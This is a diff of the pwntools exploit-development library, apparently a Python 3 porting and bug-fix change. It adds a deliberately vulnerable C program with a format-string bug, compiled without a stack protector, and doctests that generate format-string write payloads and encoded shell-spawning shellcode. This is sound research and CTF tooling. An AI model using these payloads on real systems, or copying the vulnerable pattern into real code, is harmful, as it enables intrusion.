expr = r'\[([^\]]+)\]: \[(.*)\]'
props = {}
for line in result.splitlines():
if not line.startswith('['):
continue
@@ -960,7 +980,7 @@ def listdir(directory='/'):
Otherwise, less files may be returned due to restrictive SELinux
policies on adbd.
"""
return list(sorted(AdbClient().list(directory)))
return sorted(AdbClient().list(directory))
@with_device
def fastboot(args, *a, **kw):
@@ -1028,6 +1048,11 @@ class Kernel(object):
@property
def address(self):
"""Returns kernel address
Example:
>>> hex(adb.kernel.address) # doctest: +ELLIPSIS
'0x...000'
"""
return self.symbols['_text']
@property
@@ -1050,7 +1075,7 @@ class Kernel(object):
self._kallsyms = {}
root()
write('/proc/sys/kernel/kptr_restrict', '1')
self._kallsyms = read('/proc/kallsyms')
self._kallsyms = read('/proc/kallsyms').decode('ascii')
return self._kallsyms
@property
@@ -1148,8 +1173,12 @@ class Property(object):
setprop(attr, value)
def __eq__(self, other):
# Allow simple comparison, e.g.:
# adb.properties.ro.oem_unlock_supported == "1"
"""Allow simple comparison
Example:
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, six.string_types):
return str(self) == other
return super(Property, self).__eq__(other)
@@ -1232,7 +1261,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
return root
def compile(source):
"""Compile a source file or project with the Android NDK."""
r"""Compile a source file or project with the Android NDK.
Example:
>>> temp = tempfile.mktemp('.c')
>>> write(temp, '''
... #include <stdio.h>
... static char buf[4096];
... int main() {
... FILE *fp = fopen("/proc/self/maps", "r");
... int n = fread(buf, 1, sizeof(buf), fp);
... fwrite(buf, 1, n, stdout);
... return 0;
... }''')
>>> filename = adb.compile(temp)
>>> sent = adb.push(filename, "/data/local/tmp")
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
b'... /system/bin/linker\n...'
"""
ndk_build = misc.which('ndk-build')
if not ndk_build:
@@ -1279,7 +1325,7 @@ def compile(source):
result = io.recvall()
if 0 != io.poll():
log.error("Build failed:\n%s" % result)
log.error("Build failed:\n%s", result)
# Find all of the output files
output = glob.glob(os.path.join(lib, '*', '*'))
@@ -1329,36 +1375,57 @@ def find(top, name):
@with_device
def readlink(path):
path = process(['readlink', path]).recvall()
path = process(['realpath', path]).recvall()
# Readlink will emit a single newline
# We can't use the '-n' flag since old versions don't support it
if path.endswith('\n'):
if path.endswith(b'\n'):
path = path[:-1]
return path
return path.decode()
class Partitions(object):
"""Enable access to partitions
Example:
>>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
'0x...000'
"""
@property
@context.quietfunc
def by_name_dir(self):
return next(find('/dev/block/platform','by-name'))
try:
return next(find('/dev/block/platform','by-name'))
except StopIteration:
return '/dev/block'
@context.quietfunc
def __dir__(self):
return list(self)
@context.quietfunc
def iter_proc_partitions(self):
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
yield blocks, name.decode()
@context.quietfunc
@with_device
def __iter__(self):
root()
# Find all named partitions
for name in listdir(self.by_name_dir):
yield name
names = set(listdir(self.by_name_dir))
# Find all unnamed partitions
for _, name in self.iter_proc_partitions():
names.add(name)
return iter(names)
def __getattr__(self, attr):
if name.startswith("_"):
if attr.startswith("_"):
raise AttributeError(attr)
for name in self:
@@ -1375,11 +1442,8 @@ class Partitions(object):
devname = os.path.basename(devpath)
# Get the size of the partition
for line in read('/proc/partitions').splitlines():
if not line.strip():
continue
major, minor, blocks, name = line.split(None, 4)
if devname == name:
for blocks, name in self.iter_proc_partitions():
if name in (devname, attr):
break
else:
log.error("Could not find size of partition %r" % name)
+3
View File
@@ -5,6 +5,9 @@ from __future__ import division
import argparse
import sys
import pwnlib
pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
+6 -5
View File
@@ -43,7 +43,7 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required = True)
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
@@ -53,9 +53,10 @@ group.add_argument(
group.add_argument(
'count',
type = int,
nargs = '?',
help = 'Number of characters to print'
type=int,
nargs='?',
default=None,
help='Number of characters to print'
)
def main(args):
@@ -90,7 +91,7 @@ def main(args):
want = args.count
result = cyclic(want, alphabet, subsize)
got = len(result)
if got < want:
if want is not None and got < want:
log.failure("Alphabet too small (max length = %i)" % got)
out = getattr(sys.stdout, 'buffer', sys.stdout)
+1 -1
View File
@@ -45,4 +45,4 @@ def main(args):
print(os.strerror(value))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+1 -1
View File
@@ -26,4 +26,4 @@ def main(args):
print(enhex(data))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+4 -4
View File
@@ -85,12 +85,12 @@ def main(args):
text.when = color
if skip:
if infile == sys.stdin:
infile.read(skip)
else:
try:
infile.seek(skip, os.SEEK_CUR)
except IOError:
infile.read(skip)
if count:
if count != -1:
infile = io.BytesIO(infile.read(count))
hl = []
+2 -2
View File
@@ -80,8 +80,8 @@ def main(args):
parser.print_usage()
sys.exit(0)
data = sys.stdin.read()
output = data
stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
output = stdin_buffer.read()
fmt = args.format or ('hex' if tty else 'raw')
formatters = {'r':bytes, 'h':enhex, 's':repr}
+1 -1
View File
@@ -30,4 +30,4 @@ def main(args):
sys.stderr.write(str(e) + '\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
common.main(__file__)
+3
View File
@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
[update]
interval=7
"""
from __future__ import absolute_import
from __future__ import division
+12 -4
View File
@@ -27,6 +27,11 @@ from pwnlib.config import register_config
from pwnlib.device import Device
from pwnlib.timeout import Timeout
try:
from collections.abc import Iterable
except ImportError:
from collections import Iterable
__all__ = ['context', 'ContextType', 'Thread']
_original_socket = socket.socket
@@ -839,6 +844,8 @@ class ContextType(object):
return b.decode('utf-8')
except UnicodeDecodeError:
return b.decode('latin1')
except AttributeError:
return b
return b.decode(self.encoding)
@_validator
@@ -1117,7 +1124,7 @@ class ContextType(object):
if isinstance(proxy, str):
proxy = (socks.SOCKS5, proxy)
if not isinstance(proxy, collections.Iterable):
if not isinstance(proxy, Iterable):
raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
socks.set_default_proxy(*proxy)
@@ -1225,12 +1232,13 @@ class ContextType(object):
>>> cache_dir == context.cache_dir
True
"""
home = os.path.expanduser('~')
xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
os.path.join(os.path.expanduser('~'), '.cache')
if not os.access(home, os.W_OK):
if not os.access(xdg_cache_home, os.W_OK):
return None
cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
if not os.path.exists(cache):
try:
+1
View File
@@ -1,4 +1,5 @@
from __future__ import absolute_import
from pwnlib.data.elf import fmtstr
from pwnlib.data.elf import relro
import os
+5
View File
@@ -0,0 +1,5 @@
all: i386
i386: vuln.c
gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
+5
View File
@@ -0,0 +1,5 @@
import os
path = os.path.dirname(__file__)
def get(x):
return os.path.join(path, x)
BIN
View File
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
+9 -6
View File
@@ -75,8 +75,8 @@ def sysv_hash(symbol):
"""
h = 0
g = 0
for c in symbol:
h = (h << 4) + ord(c)
for c in bytearray(context._encode(symbol)):
h = (h << 4) + c
g = h & 0xf0000000
h ^= (g >> 24)
h &= ~g
@@ -87,9 +87,10 @@ def gnu_hash(s):
Function used to generated GNU-style hashes for strings.
"""
s = bytearray(context._encode(s))
h = 5381
for c in s:
h = h * 33 + ord(c)
h = h * 33 + c
return h & 0xffffffff
class DynELF(object):
@@ -292,7 +293,7 @@ class DynELF(object):
w = None
while True:
if self.leak.compare(ptr, '\x7fELF'):
if self.leak.compare(ptr, b'\x7fELF'):
break
# See if we can short circuit the search
@@ -641,7 +642,7 @@ class DynELF(object):
p_name = leak.field(cur, LinkMap.l_name)
name = leak.s(p_name)
if libname in name:
if libname.encode('utf-8') in name:
break
if name:
@@ -740,6 +741,7 @@ class DynELF(object):
# Leak the name of the function from the symbol table
name = leak.s(strtab + leak.field(sym, Sym.st_name))
name = name.decode('utf-8')
# Make sure it matches the name of the symbol we were looking for.
if name == symb:
@@ -823,6 +825,7 @@ class DynELF(object):
# Check for collision on hash values
sym = symtab + sizeof(Sym) * (ndx + i)
name = leak.s(strtab + leak.field(sym, Sym.st_name))
name = name.decode('utf-8')
if name == symb:
# No collision, get offset and calculate address
@@ -854,7 +857,7 @@ class DynELF(object):
for offset in libcdb.get_build_id_offsets():
address = libbase + offset
if self.leak.compare(address + 0xC, "GNU\x00"):
if self.leak.compare(address + 0xC, b"GNU\x00"):
return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
else:
self.status("Build ID not found at offset %#x" % offset)
+3 -3
View File
@@ -484,7 +484,7 @@ class Corefile(ELF):
>>> io = elf.process()
>>> io.wait(2)
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
[!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith(b'AAAA')
@@ -924,9 +924,9 @@ class Corefile(ELF):
return
# If the stack does not end with zeroes, something is very wrong.
if not stack.data.endswith(b'\x00' * 8):
if not stack.data.endswith(b'\x00' * context.bytes):
log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
enhex(self.data[-8:]))
enhex(self.data[-context.bytes:]))
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
+1 -1
View File
@@ -191,7 +191,7 @@ class constants:
NT_AUXV = 6
#
# Note to userspace developers: size of NT_SIGINFO note may increase
# in the future to accomodate more fields, don't assume it is fixed!
# in the future to accommodate more fields, don't assume it is fixed!
#
NT_SIGINFO = 0x53494749
NT_FILE = 0x46494c45
+62 -6
View File
@@ -83,6 +83,7 @@ from pwnlib.tubes.process import process
from pwnlib.util import misc
from pwnlib.util import packing
from pwnlib.util.fiddling import unhex
from pwnlib.util.misc import align, align_down
from pwnlib.util.sh_string import sh_string
log = getLogger(__name__)
@@ -1048,6 +1049,49 @@ class ELF(ELFFile):
self.config['version'] = self.version
@property
def libc_start_main_return(self):
"""
Try to find the return address from main into __libc_start_main.
The heuristic to find the call to the function pointer of main is
to list all calls inside __libc_start_main, find the call to exit
after the call to main and select the previous call.
"""
if '__libc_start_main' not in self.functions:
return 0
if 'exit' not in self.symbols:
return 0
# If there's no delay slot, execution continues on the next instruction after a call.
call_return_offset = 1
if self.arch in ['arm', 'thumb']:
call_instructions = set(['blx', 'bl'])
elif self.arch == 'aarch64':
call_instructions = set(['blr', 'bl'])
elif self.arch in ['mips', 'mips64']:
call_instructions = set(['bal', 'jalr'])
# Account for the delay slot.
call_return_offset = 2
elif self.arch in ['i386', 'amd64', 'ia64']:
call_instructions = set(['call'])
else:
log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
return 0
code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
exit_addr = hex(self.symbols['exit'])
lines = code.split('\n')
calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
if len(exit_calls) != 1:
return 0
call_to_main = calls[exit_calls[0] - 1]
return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
return return_from_main
def search(self, needle, writable = False):
"""search(needle, writable = False) -> generator
@@ -1155,6 +1199,11 @@ class ELF(ELFFile):
# DT_LOAD segment is **last** to load data into the region.
self.memory.chop(start, stop_data)
# Fill the start of the segment's first page
page_start = align_down(0x1000, start)
if page_start < start and not self.memory[page_start]:
self.memory.addi(page_start, start, None)
# Add the new segment
if start != stop_data:
self.memory.addi(start, stop_data, segment)
@@ -1162,15 +1211,22 @@ class ELF(ELFFile):
if stop_data != stop_mem:
self.memory.addi(stop_data, stop_mem, b'\x00')
page_end = align(0x1000, stop_mem)
# Check for holes which we can fill
if self._fill_gaps and i+1 < len(load_segments):
next_start = load_segments[i+1].header.p_vaddr
if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
self.memory.addi(stop_mem, next_start, None)
else:
page_end = (stop_mem + 0xfff) & ~(0xfff)
page_next = align_down(0x1000, next_start)
if stop_mem < next_start:
if page_end < page_next:
if stop_mem < page_end:
self.memory.addi(stop_mem, page_end, None)
if page_next < next_start:
self.memory.addi(page_next, next_start, None)
else:
self.memory.addi(stop_mem, next_start, None)
else:
if stop_mem < page_end:
self.memory.addi(stop_mem, page_end, None)
@@ -1602,7 +1658,7 @@ class ELF(ELFFile):
``PT_GNU_STACK``
The p_flags member specifies the permissions on the segment
containing the stack and is used to indicate wether the stack
containing the stack and is used to indicate whether the stack
should be executable. The absense of this header indicates
that the stack will be executable.
+4 -3
View File
@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
class amd64DeltaEncoder(i386DeltaEncoder):
"""
r"""
amd64 encoder built on delta-encoding.
In addition to the loader stub, doubles the size of the shellcode.
>>> context.clear(arch='amd64')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\x00'
>>> avoid = b'/bin/sh\x00'
>>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
"""
assembly = '''
base:
@@ -39,7 +40,7 @@ next:
data:
'''
arch = 'amd64'
raw = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
raw = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
blacklist = set(raw)
encode = amd64DeltaEncoder()
+1 -1
View File
@@ -15,7 +15,7 @@ class ArmXorEncoder(Encoder):
>>> context.clear(arch='arm')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = 'binsh\x00\n'
>>> avoid = b'binsh\x00\n'
>>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
+16 -16
View File
@@ -1,6 +1,7 @@
from __future__ import absolute_import
from __future__ import division
import six
import collections
from random import choice
from random import randint
@@ -41,7 +42,7 @@ class i386DeltaEncoder(Encoder):
Example:
>>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
>>> e = ELF.from_bytes(sc)
>>> e.process().poll(True)
-5
@@ -50,36 +51,35 @@ class i386DeltaEncoder(Encoder):
arch = 'i386'
stub = None
terminator = 0xac
raw = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
raw = b'\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
blacklist = set(raw)
def __call__(self, bytes, avoid, pcreg=''):
def __call__(self, raw_bytes, avoid, pcreg=''):
table = collections.defaultdict(lambda: [])
endchar = ''
endchar = bytearray()
not_bad = lambda x: chr(x) not in avoid
not_bad = lambda x: six.int2byte(x) not in avoid
not_bad_or_term = lambda x: not_bad(x) and x != self.terminator
for i in filter(not_bad_or_term, range(0, 256)):
endchar += chr(i)
endchar.append(i)
for j in filter(not_bad, range(0, 256)):
table[(j - i) & 0xff].append(chr(i) + chr(j))
table[(j - i) & 0xff].append(bytearray([i, j]))
res = self.raw
res = bytearray(self.raw)
for c in bytes:
a = ord(c)
l = len(table[a])
for c in bytearray(raw_bytes):
l = len(table[c])
if l == 0:
print('No encodings for character %02x' % a)
print('No encodings for character %02x' % c)
return None
res += table[a][randint(0, l - 1)]
res += table[c][randint(0, l - 1)]
res += chr(self.terminator)
res += choice(endchar)
res.append(self.terminator)
res.append(choice(endchar))
return res
return bytes(res)
encode = i386DeltaEncoder()
+66 -65
View File
@@ -26,6 +26,7 @@
from __future__ import absolute_import
from __future__ import division
import six
from pwnlib import asm
from pwnlib import shellcraft
from pwnlib.context import context
@@ -33,67 +34,67 @@ from pwnlib.encoders.encoder import Encoder
from pwnlib.util.fiddling import xor_key
decoders = {
'little': ''.join([
"SIZ2SIZ1\x0e\x24", # li t6,-5
"\x27\x70\xc0\x01", # nor t6,t6,zero
"\xa3\xff\x0b\x24", # li t3,-93
"\x26\x40\xce\x01", # xor t0,t6,t6
"\xff\xff\x08\x21", # addi t0,t0,-1
"\xff\xff\x10\x05", # bltzal t0,14 <next>
"\x82\x82\x08\x28", # slti t0,zero,-32126
"\xe2\xff\xfd\x23", # addi sp,ra,-30
"\x27\x58\x60\x01", # nor t3,t3,zero
"\x21\xc8\xeb\x03", # addu t9,ra,t3
"\x82\x82\x17\x28", # slti s7,zero,-32126
"\xfc\xff\x31\x8f", # lw s1,-4(t9)
"\xfb\xff\x0c\x24", # li t4,-5
"\x27\x60\x80\x01", # nor t4,t4,zero
"\xfd\xff\x8f\x21", # addi t7,t4,-3
"\xfc\xff\x28\x8f", # lw t0,-4(t9)
"\x21\xb8\xef\x02", # addu s7,s7,t7
"\x26\x18\x11\x01", # xor v1,t0,s1
"\x2b\xf0\xee\x02", # sltu s8,s7,t6
"\xfc\xff\x23\xaf", # sw v1,-4(t9)
"\xfa\xff\x1e\x14", # bne zero,s8,3c <loop>
"\x21\xc8\x2c\x03", # addu t9,t9,t4
"\xfd\xff\x86\x21", # addi a2,t4,-3
"\xf8\xff\xa6\xaf", # sw a2,-8(sp)
"\x26\x28\xce\x01", # xor a1,t6,t6
"\xfc\xff\xa5\xaf", # sw a1,-4(sp)
"\xf8\xff\xa4\x27", # addiu a0,sp,-8
"\x46\x10\x02\x24", # li v0,4166
"\x0c\x54\x4a\x01" # syscall 0x52950
'little': b''.join([
b'SIZ2SIZ1\x0e\x24', # li t6,-5
b'\x27\x70\xc0\x01', # nor t6,t6,zero
b'\xa3\xff\x0b\x24', # li t3,-93
b'\x26\x40\xce\x01', # xor t0,t6,t6
b'\xff\xff\x08\x21', # addi t0,t0,-1
b'\xff\xff\x10\x05', # bltzal t0,14 <next>
b'\x82\x82\x08\x28', # slti t0,zero,-32126
b'\xe2\xff\xfd\x23', # addi sp,ra,-30
b'\x27\x58\x60\x01', # nor t3,t3,zero
b'\x21\xc8\xeb\x03', # addu t9,ra,t3
b'\x82\x82\x17\x28', # slti s7,zero,-32126
b'\xfc\xff\x31\x8f', # lw s1,-4(t9)
b'\xfb\xff\x0c\x24', # li t4,-5
b'\x27\x60\x80\x01', # nor t4,t4,zero
b'\xfd\xff\x8f\x21', # addi t7,t4,-3
b'\xfc\xff\x28\x8f', # lw t0,-4(t9)
b'\x21\xb8\xef\x02', # addu s7,s7,t7
b'\x26\x18\x11\x01', # xor v1,t0,s1
b'\x2b\xf0\xee\x02', # sltu s8,s7,t6
b'\xfc\xff\x23\xaf', # sw v1,-4(t9)
b'\xfa\xff\x1e\x14', # bne zero,s8,3c <loop>
b'\x21\xc8\x2c\x03', # addu t9,t9,t4
b'\xfd\xff\x86\x21', # addi a2,t4,-3
b'\xf8\xff\xa6\xaf', # sw a2,-8(sp)
b'\x26\x28\xce\x01', # xor a1,t6,t6
b'\xfc\xff\xa5\xaf', # sw a1,-4(sp)
b'\xf8\xff\xa4\x27', # addiu a0,sp,-8
b'\x46\x10\x02\x24', # li v0,4166
b'\x0c\x54\x4a\x01' # syscall 0x52950
]),
'big': ''.join([
"\x24\x0eSIZ1SIZ2", # li t6,-5
"\x01\xc0\x70\x27", # nor t6,t6,zero
"\x24\x0b\xff\xa3", # li t3,-93
"\x01\xce\x40\x26", # xor t0,t6,t6
"\x21\x08\xff\xff", # addi t0,t0,-1
"\x05\x10\xff\xff", # bltzal t0,14 <next>
"\x28\x08\x82\x82", # slti t0,zero,-32126
"\x23\xfd\xff\xe2", # addi sp,ra,-30
"\x01\x60\x58\x27", # nor t3,t3,zero
"\x03\xeb\xc8\x21", # addu t9,ra,t3
"\x28\x17\x82\x82", # slti s7,zero,-32126
"\x8f\x31\xff\xfc", # lw s1,-4(t9)
"\x24\x0c\xff\xfb", # li t4,-5
"\x01\x80\x60\x27", # nor t4,t4,zero
"\x21\x8f\xff\xfd", # addi t7,t4,-3
"\x8f\x28\xff\xfc", # lw t0,-4(t9)
"\x02\xef\xb8\x21", # addu s7,s7,t7
"\x01\x11\x18\x26", # xor v1,t0,s1
"\x02\xee\xf0\x2b", # sltu s8,s7,t6
"\xaf\x23\xff\xfc", # sw v1,-4(t9)
"\x14\x1e\xff\xfa", # bne zero,s8,3c <loop>
"\x03\x2c\xc8\x21", # addu t9,t9,t4
"\x21\x86\xff\xfd", # addi a2,t4,-3
"\xaf\xa6\xff\xf8", # sw a2,-8(sp)
"\x01\xce\x28\x26", # xor a1,t6,t6
"\xaf\xa5\xff\xfc", # sw a1,-4(sp)
"\x27\xa4\xff\xf8", # addiu a0,sp,-8
"\x24\x02\x10\x46", # li v0,4166
"\x01\x4a\x54\x0c" # syscall 0x52950
'big': b''.join([
b'\x24\x0eSIZ1SIZ2', # li t6,-5
b'\x01\xc0\x70\x27', # nor t6,t6,zero
b'\x24\x0b\xff\xa3', # li t3,-93
b'\x01\xce\x40\x26', # xor t0,t6,t6
b'\x21\x08\xff\xff', # addi t0,t0,-1
b'\x05\x10\xff\xff', # bltzal t0,14 <next>
b'\x28\x08\x82\x82', # slti t0,zero,-32126
b'\x23\xfd\xff\xe2', # addi sp,ra,-30
b'\x01\x60\x58\x27', # nor t3,t3,zero
b'\x03\xeb\xc8\x21', # addu t9,ra,t3
b'\x28\x17\x82\x82', # slti s7,zero,-32126
b'\x8f\x31\xff\xfc', # lw s1,-4(t9)
b'\x24\x0c\xff\xfb', # li t4,-5
b'\x01\x80\x60\x27', # nor t4,t4,zero
b'\x21\x8f\xff\xfd', # addi t7,t4,-3
b'\x8f\x28\xff\xfc', # lw t0,-4(t9)
b'\x02\xef\xb8\x21', # addu s7,s7,t7
b'\x01\x11\x18\x26', # xor v1,t0,s1
b'\x02\xee\xf0\x2b', # sltu s8,s7,t6
b'\xaf\x23\xff\xfc', # sw v1,-4(t9)
b'\x14\x1e\xff\xfa', # bne zero,s8,3c <loop>
b'\x03\x2c\xc8\x21', # addu t9,t9,t4
b'\x21\x86\xff\xfd', # addi a2,t4,-3
b'\xaf\xa6\xff\xf8', # sw a2,-8(sp)
b'\x01\xce\x28\x26', # xor a1,t6,t6
b'\xaf\xa5\xff\xfc', # sw a1,-4(sp)
b'\x27\xa4\xff\xf8', # addiu a0,sp,-8
b'\x24\x02\x10\x46', # li v0,4166
b'\x01\x4a\x54\x0c' # syscall 0x52950
])
}
@@ -104,7 +105,7 @@ class MipsXorEncoder(Encoder):
>>> context.clear(arch='mips')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = '/bin/sh\x00'
>>> avoid = b'/bin/sh\x00'
>>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
@@ -114,7 +115,7 @@ class MipsXorEncoder(Encoder):
"""
arch = 'mips'
blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))
blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))
def __call__(self, raw_bytes, avoid, pcreg=''):
@@ -127,9 +128,9 @@ class MipsXorEncoder(Encoder):
sizelo = size & 0xff
sizehi = size >> 8
decoder = str(decoders[context.endian])
decoder = decoder.replace('SIZ1', chr(sizehi))
decoder = decoder.replace('SIZ2', chr(sizelo))
decoder = decoders[context.endian]
decoder = decoder.replace(b'SIZ1', six.int2byte(sizehi))
decoder = decoder.replace(b'SIZ2', six.int2byte(sizelo))
key, data = xor_key(raw_bytes, avoid=avoid)
+50 -55
View File
@@ -1,39 +1,39 @@
r"""
Provide some tools to exploit format string bug
Examples:
Let's use this program as an example:
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
... char buff[1024];
... void *ptr = NULL;
... int *my_var = TARGET;
... ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
... if(ptr != MEMORY_ADDRESS)
... {
... perror("mmap");
... return EXIT_FAILURE;
... }
... *my_var = 0x41414141;
... write(1, &my_var, sizeof(int *));
... scanf("%s", buff);
... dprintf(2, buff);
... write(1, my_var, sizeof(int));
... return 0;
... }''')
>>> gcc = process(["gcc", source, "-Wno-format-security", "-m32", "-o", program])
>>> gcc.poll(True) and gcc.recvall()
0
::
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
char buff[1024];
void *ptr = NULL;
int *my_var = TARGET;
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if(ptr != MEMORY_ADDRESS)
{
perror("mmap");
return EXIT_FAILURE;
}
*my_var = 0x41414141;
write(1, &my_var, sizeof(int *));
scanf("%s", buff);
dprintf(2, buff);
write(1, my_var, sizeof(int));
return 0;
}
We can automate the exploitation of the process like so:
>>> program = pwnlib.data.elf.fmtstr.get('i386')
>>> def exec_fmt(payload):
... p = process(program)
... p.sendline(payload)
@@ -246,9 +246,9 @@ class AtomWrite(object):
Combine adjacent writes into a single write.
Example:
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)
>>> context.clear(endian = "little")
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
"""
assert other.start == self.end, "writes to combine must be continous"
if context.endian == "little":
@@ -778,22 +778,22 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
Examples:
>>> context.clear(arch = 'amd64')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
>>> context.clear(arch = 'i386')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
b'%322419390c%5$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
